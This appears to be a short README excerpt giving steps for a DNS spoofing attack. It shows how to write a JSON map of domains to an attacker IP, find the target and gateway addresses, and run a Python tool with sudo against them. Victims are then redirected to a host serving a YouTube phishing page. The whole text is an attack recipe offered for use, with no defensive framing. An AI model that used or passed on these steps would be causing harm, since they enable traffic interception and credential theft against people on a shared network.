- Write this to a file:
{ "mydomain.it.": "192.168.1.113", "otherdomain.com.": "192.168.1.113" }
(or just insert 'all_192.168.x.x' as the file name to spoof all domains)
- Discover your target's ip and gateway ip: you can use subdisc for this task.
- Run:
sudo python3 main.py [target ip] [gateway ip] dns records.json
- New dns requests to mydomain.it and otherdomain.com will make the target go to
192.168.1.113
, where the Youtube Phishing Page is being hosted.